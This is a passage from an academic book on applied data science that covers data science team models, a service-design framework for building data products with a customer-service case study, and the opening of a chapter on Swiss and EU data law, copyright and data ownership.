limited resources to strategic topics. The typical enterprise choosing this model
already has mature reporting and analytics capabilities, with both the IT and the
finance department having already acquired the necessary skills. The centralized
unit thus has the technical prerequisites of the IT or statistical knowledge of the
finance department because of this previous work and provides the expertise to
the business units. This model fits well to most small and simple organizations.

(b) Cross-business unit with data scientists
Again, experienced data scientists belong to a centralized group, where they

are responsible for analytical models, standards, and best practices. But these
data scientists establish contacts to domain experts or even other analytical
groups in the business units, as all business units have mature basic analytical
skills. This model can be seen as a “hub and spokes” approach compared to the
purely central model (a). It fits to moderately more complex organizations that
see data as a core competitive advantage.

(c) Decentralized data science teams in several business units
Here, every business unit engages its own data science team because the

necessary business knowledge is domain specific. This business-specific analyt-
ical knowledge is significant to succeed. This model thus fits to highly complex,
mostly large organizations with autonomous business units.

Due to its low requirements, the operational model (b) has the potential to be
broadly implemented in practice. For its successful realization, it is relevant to
consider which resources are available in the data science teams, such as data science
skills, technology, and data with sufficient quality. In the beginning, a central
interdisciplinary team consisting of experts with different deep focuses such as
machine learning, natural language processing, or spatial analysis is formed. Busi-
ness domain experts support these data scientists to implement high-quality busi-
ness-related solutions. Scripting capabilities are among the core competencies, as
they come into play in all phases of solution creation, from data extraction and
transformation to system integration and finally building interactive dashboards for
the user.

A good collaboration with the IT department is essential to ensure the work with
an analytical sandbox results in high-quality prototypes and products. A framework
“from pilot to production” and defined architectures are decisive for becoming
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sustainably successful. Crucially, the unit should be supported by an adequate
governance. A steering board assists with strategic decisions and work prioritiza-
tion. An internal data science meetup presents exciting use cases to interested
employees. Additionally, a close relation to renowned local universities is beneficial
to learn about the newest methodologies and remain at the state of the art.

5.2 Data-Driven Use Cases

To start with the data-driven journey, organizations need to identify their crucial
challenges with the most impact on their business. Then, analytics can support the
process of finding a solution toward a new or updated product or service.

To spot relevant use cases, enterprises often get input from the market via the
support of different consultants. Another opportunity is visiting industry-related
conferences.18 Design thinking approaches with cross-disciplinary teams, consisting
of business people and data scientists, additionally help to detect use cases with
strategic impact. A significant collection of key use cases can inspire an enterprise
for the further journey. For the use case prioritization, a framework based on two
dimensions is usually applied: estimated business benefits vs. the effort of invest-
ment in time or money (or complexity). The result is a roadmap of prioritized, high-
value use cases together with the anticipated benefit, and consequently, it is possible
to define quick wins: new problem-solving approaches that could be implemented
very quickly. In addition, this method allows for the efficient identification of the
most critical and therefore most valuable use cases for the company. By considering
all existing resources, the use case portfolio can be managed well.

After use case prioritizations, it is helpful to start the first pilot with the support of
an excited business sponsor. In the future, he or she can be designated as an
ambassador for the new analytical approach. The CRISP-DM approach (Wirth and
Hipp 2000) is often adopted in data science projects. When the first phase of piloting
confirms the benefits for the business, a handover to the IT department helps to
sustainably maintain the solution. Finally and step by step, the results and the
knowledge about the new methodologies conquer the daily business (a more detailed
overview of the creation of data products is presented in the next chapter).

18For example, Strata (https://conferences.oreilly.com/strata) and Predictive Analytics World
(https://www.predictiveanalyticsworld.com/) are internationally renowned.

42 T. Stadelmann et al.

https://conferences.oreilly.com/strata
https://www.predictiveanalyticsworld.com/


6 Summary

We have presented the modern data scientist as a truly and inherently interdisciplin-
ary professional with deep analytical and engineering know how, able to think
entrepreneurially and to communicate results in various appealing ways. No matter
if one wants to hire or to become a data scientist—there are two pitfalls attached to
this definition of a data scientist:

1. The danger of canonization: unicorns, as data science all-rounders are often
called, do not exist. Any attempt to become or find one are headed for disap-
pointment. The solution is to acknowledge that a senior data scientist should have
a reasonable understanding of the majority of the data science skill set map (the
crossbeam in “T-shaped people”), while going deep in only a very restricted area
of the map (the stem of the “T”). Rather than chasing unicorns, one should view
data science as teamwork, with the team of data scientists together covering the
skill set map with complementary specializations.

2. The danger of trivialization: as finding data scientists becomes harder and being
one becomes more profitable, there are natural market tendencies to dilute the
skill profile and misuse the fashionable name for conventional job descriptions.
Both may lead to wrong decisions due to mishandled complexity.

We presented a data science career as one rooted in one of many potential
undergraduate degrees (computer science, industrial mathematics, statistics, or
physics are prime candidates) that lays a solid disciplinary foundation (likely
connected with the stem of this data scientist’s “T”). On this, a data science master’s
degree can be pursued, or skills can be extended through other, more informal ways
of continuing education in order to establish the crossbeam and the personal
specialization.

Finally, we gave insights into the development of data science teams. Three
operational models for advanced analytics depending on the organization’s structure,
size, and experience were presented. Besides associated governance, the exploitation
of strategic use cases is key to be sustainably successful.
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Chapter 4
Data Products

Jürg Meierhofer, Thilo Stadelmann, and Mark Cieliebak

Abstract Data science is becoming an established scientific discipline and has
delivered numerous useful results so far. We are at the point in time where we
begin to understand what results and insights data science can deliver; at the same
time, however, it is not yet clear how to systematically deliver these results for the
end user. In other words: how do we design data products in a process that has
relevant guaranteed benefit for the user? Additionally, once we have a data product,
we need a way to provide economic value for the product owner. That is, we need to
design data-centric business models as well.

In this chapter, we propose to view the all-encompassing process of turning data
insights into data products as a specific interpretation of service design. This pro-
vides the data scientist with a rich conceptual framework to carve the value out of the
data in a customer-centric way and plan the next steps of his endeavor: to design a
great data product.

1 Introduction

Analytics1 provides methodologies and tools to generate insights from data. Such
insights may be predictive, for example, a traffic forecast, a recommendation for a
product or a partner, or a list of customers who are likely to react positively to a
marketing campaign (Siegel 2013). Insights may also be descriptive, that is, provid-
ing us with a better understanding of a current or past situation, for example, our
company’s performance right now or during the previous month. Insights will
probably in any case be actionable, for example, by enabling a smart controller to
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1We use the word “analytics” throughout this chapter to refer to those methods and tools from data
science that pertain directly to analyzing, mining, or modeling the data: Statistical methods,
machine learning algorithms, the application of data management tools, etc.
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drive a car, operate a building control system, or regulate electricity production
according to market demands. In an extension of the purely exploratory paradigm of
data mining, a data scientist purposefully plans to build such data insights that
benefit the user (Veeramachaneni 2016). This automatically moves the result to
the center of the analytics process.

But do these kinds of insights already make up a data product? To find the
answer, we go back to the definition of a product (Kottler 2003): a product provides
a set of benefits for which the customer has a willingness to return a value, typically
in the form of money. Thus, insights generated from data can be considered a data
product if there are “users” willing to give back value for these insights. The user
may be an external customer (e.g., a “consumer”) or a user in an organization, for
example, inside the company. The value given back may be in the form of a financial
payment, but not necessarily (there are other dimensions of value like emotional or
social value (Jagdish et al. 1991), or the collected data, e.g., health data from
wearables, search patterns, etc.). This is illustrated in the complete value chain of a
data product (see Fig. 4.1).

In other words: in order to have a data product, we need to design insights
generating relevant benefits for which users pay. Service science provides us with
concepts to solve this problem: according to Lusch and Vargo (2014), a service is
defined as the application of competences (knowledge and skills) for the benefit of
another entity. With respect to data products, the application of competences refers
to the competence of applying data science—the “unique blend of skills from
analytics, engineering & communication aiming at generating value from the data
itself” (Stadelmann et al. 2013).

Therefore, a data product is defined as the application of data science compe-
tences to provide benefit to another entity. This makes perfect sense if we substitute
“data science” for its original definition cited above, thus resulting in:

A data product is defined as the application of a unique blend of skills from analytics,
engineering & communication aiming at generating value from the data itself to provide
benefit to another entity.

Data products are a subset of services (every data product meets the definition of a
service, but not every service is a data product). Therefore, the concepts and methods
of service science and service design can be applied to systematically design data
products. This rounds off earlier work of defining a data product as the result of

Fig. 4.1 The value chain of a data product
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value-driven analysis that generates added value out the analyses of the underlying
data (Loukides 2010). There is a vast field of application examples available for
added value generated by analysis. Siegel (2013), for instance, provides an extensive
list of 182 examples grouped in the 9 categories: (1) family and personal life;
(2) marketing, advertising, and the web; (3) financial risk and insurance;
(4) healthcare; (5) law enforcement and fraud detection; (6) fault detection, safety,
and logistical efficiency; (7) government, politics, nonprofits, and education;
(8) human language understanding, thought, and psychology; (9) workforce: staff
and employees. There are also other literature sources providing similar application
examples with different groupings, for example, Marr (2016).

In the next section, we provide a very short introduction to general service design
before explaining the specific characteristics of applying it to the design of data
products. We then identify the gap between current service design and the develop-
ment of data products, and subsequently propose a framework specific for data
product design. We conclude by a discussion of the essential building block of
each data product—the data itself, and how to potentially augment it—and a review
of the current state of the field, including an outlook to future work.

2 Service Design

Service design starts from the user perspective, which means understanding the tasks
and challenges the user faces in his context. Customer insight research methods such
as depth interviews, participant observation or shadowing, service safari, focus
groups, cultural probes. etc. (Polaine et al. 2013), serve to understand the user in
his context. The value proposition design framework (Osterwalder et al. 2014)
describes a practical template to map the customer jobs, pains, and gains, which
together constitute the so-called customer profile (see right hand side of Fig. 4.2).
The customer jobs are challenges and tasks that the user needs to tackle and solve.
The pains are factors that annoy the user during his job, and the gains provide the
benefits that the customer aims at. For the design of the data product, features fitting

Fig. 4.2 Fit of value proposition (left) with customer needs (right) (Osterwalder et al. 2014)
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with the customer jobs, pains, and gains need to be designed (right hand side of
Fig. 4.2). In this context, it is very important to note that service design systemat-
ically considers also non-functional customer jobs, for example, emotional or social
jobs (Osterwalder et al. 2014; Smith and Colgate 2007).

Additionally, we can apply many more of the useful tools for service design, like
customer journey mapping, emotion curve, service blueprinting, service ecosystem
design, etc. (Polaine et al. 2013; Stickdorn and Schneider 2010).

A word about terminology: the term “service design for customers” often evokes
the connotation of consumer services. However, according to the concept of service-
dominant logic, the so-called customer generically may be any person getting
benefits of the service (Lusch and Vargo 2014). The human being may well be a
consumer, but also an employee getting support for doing his job, a citizen getting
support for his everyday life, or also an individual representing a societal stake.

3 The Gap Toward Data Product Design

Keeping in mind our definition of data products (the application of data science
competences to provide benefit to another entity), the service design approach
discussed so far clearly satisfies the second part of that definition, that is, providing
benefit to another entity. However, there is still a gap w.r.t. to the application of data
science competencies: service design per se does not systematically consider using
analytics competences to bring forth benefits for the customer. In cases where the
respective data is available, leveraging analytics capabilities in service design (i.e.,
doing data product design) generally yields more value to the customer and in return
more revenue to the provider.

Two scenarios are conceivable—enhancing existing or creating completely new
services:

1. First, we may assume that an existing product or service is effective in meeting
the customer needs but could do this more efficiently if insights from data were
used. For example, assume a service giving advice to customers when to replace
existing factory equipment (machines). Leveraging data about the status of the
old machines (i.e., condition monitoring) as well as forecasted production vol-
umes, market evolution, etc., the service can become much more efficient and
more effective. In this scenario, an existing solution becomes more efficient and is
provided with higher quality.

2. Second, by leveraging data science, we can find completely different and new
products which are much more effective in meeting the customer needs.
Although new data products do not create new customer needs2 (the fundamental

2There is often the belief that technology can create new customer needs, which is only true at a
superficial level. If we dig deeper in the hierarchy of customer needs, which we do in service design,
we find underlying needs which are given by the customers’ tasks.
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underlying motivations and needs of customers have been there before, often not
at the conscious level), the new data products may provide completely new and
previously inconceivable ways to satisfy those needs. For example, we may
develop a configurable music player that continually evaluates data about the
context and situation of the user via a connection to his smartphone and adapts the
playlist to meet the circumstances, smoothly adapting to events like new music
releases or sensed moods and environmental conditions.

Designing the resulting data products requires methodologies that go beyond
those covered by the service design literature. Meierhofer and Meier (2017) propose
an approach to data product design which we are going to discuss in the following
section.

4 Bridging the Gap (Then and Now)

From the previous discussion we see that service design provides us with a frame-
work to systematically design products that generate relevant benefits for the cus-
tomer. These benefits could be quantitatively or qualitatively higher if the potential
of data was leveraged.

However, data scientists made the experience in recent years that insights gener-
ated by sophisticated analytics algorithms are often not properly adopted or
undervalued by the users: the insights may be considered technology driven, not
relevant for the user, or simply not trusted by experts (Finlay 2014; Veeramachaneni
2016). Hence, there is a gap between analytics results and value creation. This gap
needs to be bridged in order to exploit the potential of data products (see Fig. 4.3).

Of course, many excellent data products available today show that this gap can be
bridged: the examples of Siegel (2013) in nine different industries have already been
mentioned. Such cases, in which insights from data are developed into data products
that fit with the customer needs, might be successful because of the situative
combination of good ideas: interdisciplinary teams formed by so-called “T-
shaped-people”3 (Stickdorn and Schneider 2010) (i.e., by the ideal profile of a data
scientist) may be sufficiently creative to exploit the potential of analytics while
deriving a value proposition that is consequently driven by the customer needs.
However, a more systematic methodology for the development process is desirable.

First approaches for systematic data product design have been presented in the
literature after Loukides (2011) pointed out that “. . .the products aren’t about the
data; they’re about enabling their users to do whatever they want, which most often
has little to do with data.” Howard et al. (2012) then suggested the so-called
drivetrain approach that we will briefly review below. Recently, Scherer et al.

3The horizontal part of the T-shape refers to the broad skills in a large field like data science, with
additional depth in a specific sub-field, e.g., service design or analytics (the vertical part).
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(2016) presented another approach on how to use data analytics for identifying user
patterns.

The 4-stage drivetrain process starts with the definition of the goal: Which of the
user’s needs shall be addressed next? Let us assume for a moment the example of
“web search”—finding information on the web, based on keyword queries. The
second step is then the identification of the levers that the data scientist can set to
reach this goal. This may, for example, be a new analytics idea, as has been the case
with the “PageRank” algorithm within Google’s then new answer to the web search
example created above: it is based on the idea that the number of incoming and
outgoing links to web pages (so-called off-page data) contain information about its
relevance with respect to a query. The third step consists of collecting the necessary
data sources to enable setting the identified levers of the previous step. In the Google
example, this data was collected by the company in their search index. The data may
thus already be available internally. However, the combination of internal and
external data has great potential for (and often holds the key to) the realization of
new analytics ideas. For this reason, the question of how to design good data
products is closely linked with knowledge of the international data market as well
as of the open data movement and respective options: publicly available datasets
may at least augment one’s internal data, as the next section will show. The fourth
step finally involves building analytical models, as the options of which modeling
technique to apply are to a large extent predetermined by the previous three steps.

Fig. 4.3 Data products bridging the gap between analytics and service design
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The drivetrain approach is the distillate of the lessons learned of hundreds of
publicly held data science competitions. While capturing indispensable knowledge,
it is still quite abstract, being more descriptive than prescribing next actions: it serves
well as a model to conceptualize a successful data product design project in
retrospect but is hard to use as a model to decide on the next concrete step.

To overcome this weakness and provide an all-encompassing approach for data
product design, we propose to cover all phases of the service design process and
additionally exploit the full spectrum of data analytics methods and tools as much as
possible, in a way that allows for planning ahead. We use the framework shown in
Fig. 4.4.:

• The horizontal axis depicts the stages of a typical service design process: for a
given application field (e.g., “customer searches and purchases a new product of
our portfolio”) we start the process with collecting data about potential users or
customers (“customer insight research”), then build the customer profile (jobs,
pains, gains), followed by the phases for designing the value proposition and the
service processes. In the next phase, we test the fit between value proposition and
the customer profile and improve our solution in several iterations (indicated by
the squiggles in the figure). In the last step, we bring our new data product to the
market (deployment and marketing).
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• The vertical axis in Fig. 4.4 shows a structure of several data analytics methods
w.r.t. their potential to provide benefits for data products (raw results according to
Fig. 4.3). The terms on the vertical axis (from “clustering” to “causal modeling”)
stand for fundamental data analytics methods (or tools, use cases) according to
Provost and Fawcett (2013).

• The dots in the matrix framework of Fig. 4.4 indicate in which stage of the data
product design process which data analytics tool can be typically applied. Larger
dots qualitatively indicate a stronger value contribution in the corresponding
combination.

As practical service design cases often do not follow the service design process in
a linear way from left to right in Fig. 4.4, we exemplarily discuss the matrix in
Fig. 4.4 by a case study according to Meierhofer (2017). This example is in the
application field of customer service representatives (agents) in a company providing
consumer services. The goal is to provide employee support services to the agents in
order to make inconvenient tasks easier for the employees, to reduce sources of
errors, and to increase efficiency. Such tasks may be, for example, to detect the
relevant contact reason of the customer in real-time (e.g., while having the customer
on the phone) and find related contacts of the same customer in the past. For
instance, a customer may have contacted the firm for various matters several times
before and this time has a complaint for one specific topic, which makes it difficult
for the agent to dig the details relevant for this complaint out of the contact history in
a short time. Or the customer may call because of a specific question concerning his
customized product instantiation or his customized contract. It is likely that the
company has the answer ready in its data base in the form of a documented solution
of a similar problem in the past. An individual agent can impossibly keep all these
cases in mind or find them while talking to a customer.

Data and technical tools, e.g., records of past customer interactions as well as
algorithms for speech-to-text and natural language processing, are assumed to help
in this process and provide benefits to the agents. Finding the relevant nuggets in the
bulk of past customer contacts, which often are documented as unstructured data,
can be heavily supported by such analytics tools. Hence, this case study starts from
the perspective of data and technology according to Meierhofer and Meier (2017)
instead of a precise understanding of the user’s jobs, pains, and gains. It can be
considered a technology push approach.

In traditional service engineering procedures, the project would deploy as
follows:

• An interdisciplinary project team is set up consisting of (a) analytics specialists,
(b) IT specialists in the company-specific CRM system, and complemented by
(c) business process specialist of the customer service department.

• In a requirements engineering process, the required features for the agent support
tool are elaborated and then stripped down to a feasible set in the framework of
the project constraints (cost, time, quality).

• The tool is implemented, technically tested, and deployed to the users. This last
step includes training as well as change management aspects in order to convince

54 J. Meierhofer et al.



the agents of the benefits of the new tool. This development and deployment
phase would typically span over several months and result in high resources costs.

Unfortunately, this procedure often turns out not to be effective in the sense that
the tool delivered after the long development period does not solve relevant jobs,
pains, or gains of the users. As a consequence, the users consider the tool irrelevant
and are not ready to invest the energy to get sufficiently familiar with it in order to
leverage at least some benefit. This is the point where cultural change management
comes in to get the agents to use the new tool, which is often not successful. At the
end, the project may be considered a disappointment.

To circumvent this problem, best-practice approaches have come up in the recent
years tackling the problem from a design perspective in combination with agile
methodologies. The challenge to support the agents in their daily work would
consequently start by understanding and modelling the agents jobs, pains, and
gains. Next, a value proposition would be developed which helps the agents to do
their job, overcome the pains, and increase their gains. However, this procedure
would typically miss out the potential of the new possibilities in analytics, which
may be assumed in the fields of mining data (e.g., past customer interaction records)
or process automation (e.g., speech recognition). As a consequence, for the case
study described above, an agent support tool may be built which turns out to be
useful for the agents, for example, by providing search tools for similar problems,
but could possibly provide much more benefit by systematically applying analytics.

Now, applying the new data product design scheme shown in Fig. 4.4, we
proceed as follows:

• To start, remembering that we have a technology-driven case, we elaborate a map
of the data-driven assets available which we assume to provide benefits for the
given problem statement. In this case, this is:

– Generating a layout of insights that can be gained from past customer inter-
actions. The data of closed customer contacts, which is stored in records in the
CRM tool, is mined and interpreted by data scientists in co-creation with
process experts of the customer service department.

– Exploring the possibilities of natural language processing and speech-to-text
conversion in the context of the agents’ work with a CRM system (e.g., the
environment of the use case, the languages applied, the acoustical environ-
ment, the real-time requirements, etc.).

This collection of the data-based value contributions as a starting position
corresponds to tackling the problem from the left-hand side in Fig. 4.1 and to
establishing the vertical axis in Fig. 4.4.

• In the next step, we develop the horizontal axis of Fig. 4.4 and proceed with
understanding the agents’ jobs, pains and gains. To do so, we research insights
about their jobs, pains, and gains by shadowing a qualitative sample of agents in
their daily job (i.e., accompanying the agents as an observer). A practical tool to
do this can be found in the “a day in the life of” concept: accompanying a person
during a typical day and observing what she does, where she struggles or needs
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too much time or energy for doing a job, and where she gets the desired output in
a satisfactory manner.

This qualitative customer insight research step is complemented by a quanti-
tative analysis of process data found in the agent workflow tool. The process steps
found completed in past customer interactions are stored with their timestamp as
well as the type of process step and free text remarks entered by the agent. This
analysis backs up the qualitative insights about the jobs, pains, and gains found so
far, and eventually verifies or falsifies the hypotheses.

• This collection of agent data also enables the potential segmentation of the agents
into different profiles (so-called “personas” in the service design terminology) by
clustering approaches. Based on this, different profiles of agents can be described.
If the analysis yields different relevant profiles with clear differences in the pains
and gains (the jobs are assumed to be the same in the same job context), the
service for the agents needs to be developed with different flavors depending on
the profile.

• Next, we tackle the task of developing the actual service for the agents, which
means developing the value proposition (left-hand side of Fig. 4.2). In this step,
we now make use of the collection of the data-based value contributions that we
prepared at the start of our technology-driven approach. We confront the elabo-
rated agents’ jobs, pains, and gains with those value contributions differentiated
according to the customer profile. This step yields the following outcomes:

– There are jobs, pains, or gains to which we can responded by the given data-
based value contributions. For example, finding similar cases in the past may
be supported by similarity matching of the current case description with past
descriptions by means of Information Retrieval methods.

– There are jobs, pains, or gains for which we do not have a data-based value
contribution. This situation takes us to making additional data sources acces-
sible or to solving the problems by non-data-based means. For instance, it
would be very helpful for the agents to get an indication of the customers’
current emotional tension and the evolution of this in the past. We may not
have sufficient data of the past cases to detect this reliably and may suggest a
conversational script for the agent to find this out while talking to the
customer.

– There are data-based value contributions for which we do not have a
corresponding job, pain, or gain (yet). In this case, we may find that the
particular data has no value for our problem. Or, alternatively, we may find
a way to utilize the data for solving the problem in a new way which was not
seen before. Example: for a given customer enquiry, we may have data
indicating that other users already had the same problem before, but the
solution could not be standardized enough to generate a script for the agents
for solving future problems. However, we can leverage this information to
create a user support community and defer users whose problems have
sufficient similarity to this community for peer-to-peer problem solving.
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• The new service for supporting the agents (i.e., the value proposition) designed in
this way is developed in several prototyping steps and tested with a sample of
agents. These tests reveal technical bugs, but much more important, make
transparent whether our hypothesis on the agents’ jobs, pains, and gains as well
as the corresponding value proposition are validated or falsified. If falsified, we
introduce an additional iteration and adapt our service to test it again until we find
a sufficient fit of our solution with the problem.

• Finally, when we deploy the new tool to the entire group of our customer service
representatives, we measure how the tool is used by collecting data from the
process workflows and the CRM data records. We detect where the solutions can
be improved and enter the continuous improvement process.

5 The Essential Building Block of a Data Product

We finally turn our attention to the essential building block that distinguishes a data
product from universal services: the supporting data and its analysis. Here, we focus
on the data sources, since methods and technologies for data analytics are covered in
detail in several other chapters of this book.

A data product can only be as good as its supporting data. While this statement
might sound trivial at first sight, it has enormous impact on the design of a data
product: if the underlying data is unreliable, all efforts to get high-quality analytics
results and creating value to the customer must fail. Here, “unreliable” includes
various types of issues, for example, incomplete or faulty data entries, unavailability,
legal issues, etc. Hence, careful selection of appropriate data sources is an important
step in the development of a data product.

Many data products are based on internal data. This data is proprietary to the data
service provider, who often has full authority over its content, data format, access
rules, licenses etc., which makes it comparably4 easy and straightforward to incor-
porate it in a data product. However, there are still some reasons why internal data
might not be used for a data product:

1. It is personal data, that is, “all information relating to an identified or identifiable
person” (FACH 1992); this could be, for instance, customer profiles, phone call
history or transcripts, customer feedback, etc. All personal data is subject to
privacy regulations, which vary significantly from country to country. For
instance, in the USA any data that might be traced back to an identifiable person
is considered private and, thus, protected. When Netflix, a video-on-demand
service, released a dataset of movie ratings of its users, researchers were able to

4Numerous hardships are attached to the process of extracting, transforming, and loading (ETL)
even internal data into a form that is amenable for analytics. The topic of (automatic) data
integration and corresponding engineering efforts toward a data warehouse is huge. For the sake
of this chapter, however, we will assume the respective organization has already taken care of it.
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identify individual persons within this supposedly anonymized data, thus, forcing
Netflix to withdraw the dataset (Singel 2009).

2. The data is confidential, for example, emails, internal documents, meeting
minutes, etc., and an automated data product might unwittingly reveal such
information to the customers.

3. The data was intended for a purpose different from the data product: for instance,
the “Principle of Earmarking” in German and European data protection regula-
tions explicitly prohibits usage of personal data for any other than the intended
purpose without consent.

As a way out, data products may augment internal data with additional external
sources to provide maximum benefit to the user. There exist literally hundreds of
thousands of external datasets that are available for download5 (static) or via an
“Application Programming Interface (API)” (dynamic). Thus, the question often is
not if a useful dataset exists, but where to find it in the vast expanse of accessible data
sources. To this end, data marketplaces, such as datahub, Amazon AWSDatasets, or
Microsoft Azure Marketplace, come into play, which are useful in three major ways:
they are a central point of discoverability and comparison for data, along with
indicators of quality and scope; they handle the cleaning and formatting of the
data, so that it is ready for use (this step, also known as data wrangling or data
munging, can take up to 80% in a data science project (Lohr 2014); and they offer an
economic model for broad access to data that would otherwise prove difficult to
either publish or consume.

On the other hand, there exists a vast amount of open data, which is ever-
increasing since more and more governments, research institutions, and NGOs are
adapting open data strategies. These data include, for instance, human genome
sequences, historic weather data, or voting results of the Swiss National Council.
Data collections such as data.gov (USA), open-data.europa.eu (European Union), or
data.gov.uk (United Kingdom) contain thousands of public datasets (see Chap. 14 on
the usage of open data). While most of these datasets are stand-alone, Linked Open
Data (LOD) provides methods to interlink entities within open datasets. Linked data,
which goes back to Tim Berners-Lee (2006), uses a Uniform Resource Identifier
(URI) for each entity, and RDF triples to describe relations between these entities.
This allows machines to traverse the resulting graph, which contains nowadays
billions of entities, and collect required information automatically.

Once the underlying data of the data product is clear, it can be collected,
pre-processed, combined, and analyzed to provide the desired service to the cus-
tomer. Since most data products rely on data that changes over time, it is important to
track the data sources closely, because API’s can be updated, data formats may
change, or entire data sources may vanish completely. Only then it can be ensured
that the data product works reliable and to the benefits of the customer.

5See, for example, http://cooldatasets.com/
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6 Discussion and Conclusions

We have reviewed the state of the art in data product design and concluded that up to
now no systematic approach has been presented that allows for planning the next
steps in designing a product based on data insights specifically to the needs of a
certain customer. We suggested to extend the methodology found in the discipline of
service science by concrete ideas on how and where to invoke certain analytics
methods and tools. We argued that using the methodology, and hence vocabulary, of
service-dominant logic and service design gets data scientists a long way toward
such a development processing on the broad range of possible data science use cases,
not just in typical “service business” settings. In Fig. 4.4, we presented a concise but
all-encompassing framework of how to develop data products from a user-centric
point of view, including suggestions of typically helpful analytics methods and tools
per design phase. Finally, we gave pointers to potential external data sources to
enhance the essential building block of each data product—its underlying data
collection.

We see data product design as a discipline that is still in its infancy.6 Its core and
borders are still very much under development:

• While one of the first university-level courses on the topic mentions to “. . .focus
on the statistical fundamentals of creating a data product that can be used to tell a
story about data to a mass audience” and then focuses on technical details in
building web applications (Caffo 2015), others are based on a curriculum that
focuses on service design, leaving analytics aspects to other modules (Stockinger
et al. 2016).

• While the drivetrain approach has been too abstract to guide new design
endeavors, our approach is conceptually nearer to certain kinds of applications
and thus may in practice be more difficult to apply to a problem of, say, the
internal control of a machine (where no user is directly involved) than in
marketing (although it really is generally applicable).

We thus see our presented approach as a contribution to an ongoing discussion:
all data scientists need, besides deep analytics know-how, the business-related skills
to not just design a successful algorithm, but to think through a whole product. This
is the all-encompassing process we have sketched above. For the engineering-heavy
data scientist, who daily mangles data and thinks in terms of algorithms, this may
seem far away: she is more involved in CRISP-DM-like processes (Shearer 2000) to
assemble the smaller parts of the final solution. But these smaller parts are then
treated as black boxes within the all-encompassing data product design process as
outlined above.

In this sense, the data product design approach presented here is not the process to
create each data insight (smaller part). It is the packaging of one or many of these
into “publishing” form through optimization, wrapping, and finally marketing.

6Borrowing a phrase from Michael M. Brodie that he frequently relates to data science as a whole.
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Future investigation has to answer the question of how to bring both processes into
one conceptual framework: the “internal” CRISP-DM-like data insight creations,
and the “external” data product design wrapper.
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Chapter 5
Legal Aspects of Applied Data Science

Michael Widmer and Stefan Hegy

Abstract Data scientists operate in a legal context and the knowledge of its rules
provides great benefit to any applied data science project under consideration, in
particular with view to later commercialization. Taking into account legal aspects
early on may prevent larger legal issues at a subsequent project stage. In this chapter
we will present some legal topics to provide data scientists with a frame of reference
for their activities from a legal perspective, in particular: (1) comments on the
qualification and protection of “data” from a legal perspective, including intellectual
property issues; (2) data protection law; and (3) regulatory law. While the legal
framework is not the same worldwide and this chapter mainly deals with Swiss law
as an example, many of the topics mentioned herein also come up in other legislations.

1 Introduction and Background Information

Data science is inherently an applied science (Stadelmann et al. 2013) aiming at
generating value from the data itself; thus, law is among the many disciplines to be
taken into account in data scientists’ activities. Considering legal aspects already at
the outset of the development of data products may help address and minimize last
minute legal issues, which would not only be frustrating but in many cases also
costly. An example could be the development of a business solution for a financial
service provider that neglects certain regulatory requirements stated by the financial
supervisory authority. In this event, the regulatory barrier would impede a successful
implementation, irrespective of increased efficiency standards or the potential com-
mercial value of such solution. Implementing the regulatory requirements into an
already existing product at the end may require substantial work and involves
additional costs. If the legal Dos and Don’ts had been properly outlined and taken
into consideration from the outset—either with or without the client being
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involved—the project would possibly have been successful without further changes.
Also, understanding and taking into account legal concerns from the start may make
companies more willing to conduct (big) data analytics, while currently some
companies are still reluctant to do so, partly because of legal and information
security concerns (KPMG and Bitkom research 2016).

While this chapter cannot provide an in-depth review of all legal aspects, it is
meant to provide data scientists with a certain awareness for important issues they
may encounter in the “legal minefield” of data science, if only to seek assistance
from a legal department or legal advisor at the right time. Since the number of
potential legal issues is extensive, this contribution will outline some of these legal
topics to provide data scientists a frame of reference, in particular: (1) comments on
“data” from a legal standpoint, including intellectual property issues (see Sect. 2
below); (2) data protection law (see Sect. 3); and (3) regulatory law (see Sect. 4).
While the legal framework is not the same worldwide and this chapter mainly deals
with Swiss law as an example, many of the topics mentioned also come up in other
legislations. For example, the draft for a revised Swiss Data Protection Act mirrors
many of the provisions of the General Data Protection Regulation of the
EU. Therefore, the issues raised below will likely also come up in a similar manner
in other jurisdictions. However, data scientists have to be aware that if their activities
concern a multitude of jurisdictions (in particular, if they are acting cross-border)
they will have to determine which laws apply and may even have to take into account
various legal systems.

2 “Data” from a Legal Standpoint: Goods, Intellectual
Property, and Unfair Competition Law

2.1 Introductory Comments

It is obvious that “data” is at the core of data science. Consequently, data scientists
should always consider how the rights to data affect their activities, for example,
whether they have obtained the necessary rights concerning the data they work with
and how such rights may affect the results of their work. If they have not obtained the
necessary rights, their activities may infringe third parties’ rights and the exploita-
tion, use, or even publication of the results of their activities may be adversely
affected (cf. Oxenham 2016, p. 16).

2.2 Ownership of Data as Ownership of Goods?

While the legal qualification of “data” is important to the activities of data scientists,
the term is not entirely clear in all respects. The question of “ownership” of data, how
the commercial purposes (e.g., transfer of data) may be reached from a legal
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perspective and how data should be qualified were extensively discussed in Swit-
zerland. With respect to personal data some argue that a right similar to an intellec-
tual property right should be introduced (Flückiger 2013, p. 864) or that data should
be treated similar to goods (Eckert 2016b, pp. 247 et seq.) (Eckert 2016a). Others are
against the introduction of ownership rights and propose contractual solutions of the
issues arising in this context (Benhamou and Tran 2016, pp. 572 et seq.).1 In short:
how data should be qualified from a legal perspective is still somewhat disputed.2

However, data are not “goods,” and as long as the data is not protected by copy-
rights, other intellectual property rights, or unfair competition laws (see below), the
only remaining solution is to solve any issues arising, for example, concerning how
certain data should be used, with contracts—although this may not always be
possible.

Consequently, while it is agreed that data often is a commercial asset that is
widely being sold and licensed, the legal discussion in this respect is still somewhat
open. Data scientists have to keep in mind that the above-mentioned issues will have
an impact on their activities and have to be taken into account.

But irrespective of how the abstract “data” is qualified from a legal perspective,
one has to remember that the data carriers, that is, the tangible media on which the
data is stored, legally qualify as “goods.” The ownership, etc., of such data carriers
will be treated like any other goods, so they can, for example, be owned and sold.

2.3 Copyrights

In addition to the protection of the legal ownership of the “data carriers,” on which
the data is stored, the abstract “data” will in certain cases be protected under other
legal concepts. For example, certain data may be protected by copyrights and
neighboring rights.

With regard to the European Union (EU), several directives are in place to
harmonize essential copyright rights throughout the member states. Reference is
made in particular to the Directive on the harmonization of certain aspects of
copyright and related rights in the information society (InfoSoc Directive; 2001/
29/EC) and the Directive on the legal protection of computer programs (Software
Directive; 2009/24/EC) (cf. European Commission n.d.). In Switzerland, Article
2 para. 2 Swiss Copyright Act (CA) provides that literary and artistic intellectual
creations with an individual character constitute “works” and are protected,
irrespective of their value or purpose. Computer programs also qualify as “works”
in this sense (Article 2 para. 3 CA). “Collections” are protected as works in their own
right insofar as they are intellectual creations with individual character with regard to
